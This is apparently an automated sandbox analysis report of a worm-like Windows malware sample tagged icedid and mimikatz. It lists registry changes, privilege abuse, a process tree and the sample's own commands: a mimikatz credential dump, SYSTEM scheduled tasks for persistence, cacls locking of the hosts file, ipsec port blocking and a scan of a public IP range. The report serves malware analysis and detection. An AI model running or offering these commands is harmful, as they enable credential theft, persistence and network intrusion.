\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language itbsbubig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kesbnle.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2060 cmd.exe 4876 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x000800000002349d-6.dat nsis_installer_2 behavioral2/files/0x00110000000234a9-15.dat nsis_installer_1 behavioral2/files/0x00110000000234a9-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 45 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" kesbnle.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" kesbnle.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ kesbnle.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" kesbnle.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" kesbnle.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lypegiteb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" lypegiteb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing kesbnle.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" kesbnle.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4876 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4144 schtasks.exe 4856 schtasks.exe 2892 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 4700 kesbnle.exe Token: SeDebugPrivilege 4212 kesbnle.exe Token: SeDebugPrivilege 412 vfshost.exe Token: SeDebugPrivilege 3628 lypegiteb.exe Token: SeLockMemoryPrivilege 2236 tgbwhe.exe Token: SeLockMemoryPrivilege 2236 tgbwhe.exe Token: SeDebugPrivilege 2096 lypegiteb.exe Token: SeDebugPrivilege 1112 lypegiteb.exe Token: SeDebugPrivilege 1632 lypegiteb.exe Token: SeDebugPrivilege 2136 lypegiteb.exe Token: SeDebugPrivilege 2096 lypegiteb.exe Token: SeDebugPrivilege 4372 lypegiteb.exe Token: SeDebugPrivilege 3676 lypegiteb.exe Token: SeDebugPrivilege 1860 lypegiteb.exe Token: SeDebugPrivilege 2188 lypegiteb.exe Token: SeDebugPrivilege 1828 lypegiteb.exe Token: SeDebugPrivilege 804 lypegiteb.exe Token: SeDebugPrivilege 764 lypegiteb.exe Token: SeDebugPrivilege 5048 lypegiteb.exe Token: SeDebugPrivilege 4144 lypegiteb.exe Token: SeDebugPrivilege 1268 lypegiteb.exe Token: SeDebugPrivilege 3616 lypegiteb.exe Token: SeDebugPrivilege 3456 lypegiteb.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe 4700 kesbnle.exe 4700 kesbnle.exe 4212 kesbnle.exe 4212 kesbnle.exe 4520 xohudmc.exe 3960 ascsoo.exe 4432 kesbnle.exe 4432 kesbnle.exe 5312 kesbnle.exe 5312 kesbnle.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1796 wrote to memory of 2060 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe 85 PID 1796 wrote to memory of 2060 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe 85 PID 1796 wrote to memory of 2060 1796 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe 85 PID 2060 wrote to memory of 4876 2060 cmd.exe 87 PID 2060 wrote to memory of 4876 2060 cmd.exe 87 PID 2060 wrote to memory of 4876 2060 cmd.exe 87 PID 2060 wrote to memory of 4700 2060 cmd.exe 93 PID 2060 wrote to memory of 4700 2060 cmd.exe 93 PID 2060 wrote to memory of 4700 2060 cmd.exe 93 PID 4212 wrote to memory of 2992 4212 kesbnle.exe 95 PID 4212 wrote to memory of 2992 4212 kesbnle.exe 95 PID 4212 wrote to memory of 2992 4212 kesbnle.exe 95 PID 2992 wrote to memory of 2744 2992 cmd.exe 97 PID 2992 wrote to memory of 2744 2992 cmd.exe 97 PID 2992 wrote to memory of 2744 2992 cmd.exe 97 PID 2992 wrote to memory of 4396 2992 cmd.exe 98 PID 2992 wrote to memory of 4396 2992 cmd.exe 98 PID 2992 wrote to memory of 4396 2992 cmd.exe 98 PID 2992 wrote to memory of 3504 2992 cmd.exe 99 PID 2992 wrote to memory of 3504 2992 cmd.exe 99 PID 2992 wrote to memory of 3504 2992 cmd.exe 99 PID 2992 wrote to memory of 4496 2992 cmd.exe 100 PID 2992 wrote to memory of 4496 2992 cmd.exe 100 PID 2992 wrote to memory of 4496 2992 cmd.exe 100 PID 4212 wrote to memory of 4208 4212 kesbnle.exe 101 PID 4212 wrote to memory of 4208 4212 kesbnle.exe 101 PID 4212 wrote to memory of 4208 4212 kesbnle.exe 101 PID 2992 wrote to memory of 1496 2992 cmd.exe 103 PID 2992 wrote to memory of 1496 2992 cmd.exe 103 PID 2992 wrote to memory of 1496 2992 cmd.exe 103 PID 2992 wrote to memory of 4808 2992 cmd.exe 104 PID 2992 wrote to memory of 4808 2992 cmd.exe 104 PID 2992 wrote to memory of 4808 2992 cmd.exe 104 PID 4212 wrote to memory of 1676 4212 kesbnle.exe 107 PID 4212 wrote to memory of 1676 4212 kesbnle.exe 107 PID 4212 wrote to memory of 1676 4212 kesbnle.exe 107 PID 4212 wrote to memory of 2956 4212 kesbnle.exe 109 PID 4212 wrote to memory of 2956 4212 kesbnle.exe 109 PID 4212 wrote to memory of 2956 4212 kesbnle.exe 109 PID 4212 wrote to memory of 1900 4212 kesbnle.exe 114 PID 4212 wrote to memory of 1900 4212 kesbnle.exe 114 PID 4212 wrote to memory of 1900 4212 kesbnle.exe 114 PID 1900 wrote to memory of 3744 1900 cmd.exe 116 PID 1900 wrote to memory of 3744 1900 cmd.exe 116 PID 1900 wrote to memory of 3744 1900 cmd.exe 116 PID 3744 wrote to memory of 2720 3744 wpcap.exe 117 PID 3744 wrote to memory of 2720 3744 wpcap.exe 117 PID 3744 wrote to memory of 2720 3744 wpcap.exe 117 PID 2720 wrote to memory of 3292 2720 net.exe 119 PID 2720 wrote to memory of 3292 2720 net.exe 119 PID 2720 wrote to memory of 3292 2720 net.exe 119 PID 3744 wrote to memory of 4984 3744 wpcap.exe 120 PID 3744 wrote to memory of 4984 3744 wpcap.exe 120 PID 3744 wrote to memory of 4984 3744 wpcap.exe 120 PID 4984 wrote to memory of 4016 4984 net.exe 122 PID 4984 wrote to memory of 4016 4984 net.exe 122 PID 4984 wrote to memory of 4016 4984 net.exe 122 PID 3744 wrote to memory of 3120 3744 wpcap.exe 123 PID 3744 wrote to memory of 3120 3744 wpcap.exe 123 PID 3744 wrote to memory of 3120 3744 wpcap.exe 123 PID 3120 wrote to memory of 3012 3120 net.exe 125 PID 3120 wrote to memory of 3012 3120 net.exe 125 PID 3120 wrote to memory of 3012 3120 net.exe 125 PID 3744 wrote to memory of 4676 3744 wpcap.exe 126
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2104
-
C:\Windows\TEMP\uceribebv\tgbwhe.exe"C:\Windows\TEMP\uceribebv\tgbwhe.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2236
-
-
C:\Users\Admin\AppData\Local\Temp\2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mylebbdu\kesbnle.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4876
-
-
C:\Windows\mylebbdu\kesbnle.exeC:\Windows\mylebbdu\kesbnle.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4700
-
-
-
C:\Windows\mylebbdu\kesbnle.exeC:\Windows\mylebbdu\kesbnle.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2744
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:4396
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:3504
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:4496
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1496
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:4808
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4208
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1676
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2956
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\peftkslzp\lrubiezlu\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\peftkslzp\lrubiezlu\wpcap.exeC:\Windows\peftkslzp\lrubiezlu\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:3292
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:4016
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:3012
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:4676 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:3200
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:1344 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:1236 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:4536
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1980
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:3480 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4300
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\peftkslzp\lrubiezlu\Scant.txt2⤵PID:3020
-
C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exeC:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\peftkslzp\lrubiezlu\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5032
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\peftkslzp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\peftkslzp\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1488 -
C:\Windows\peftkslzp\Corporate\vfshost.exeC:\Windows\peftkslzp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:412
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gelynppwa" /ru system /tr "cmd /c C:\Windows\ime\kesbnle.exe"2⤵PID:1588
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1272
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "gelynppwa" /ru system /tr "cmd /c C:\Windows\ime\kesbnle.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4856
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eyltmvbgz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F"2⤵PID:3812
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1860
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eyltmvbgz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2892
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uecmbelya" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F"2⤵PID:220
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1268
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uecmbelya" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4144
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2772
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:396
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4424
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3368
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3016
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3744
-
-
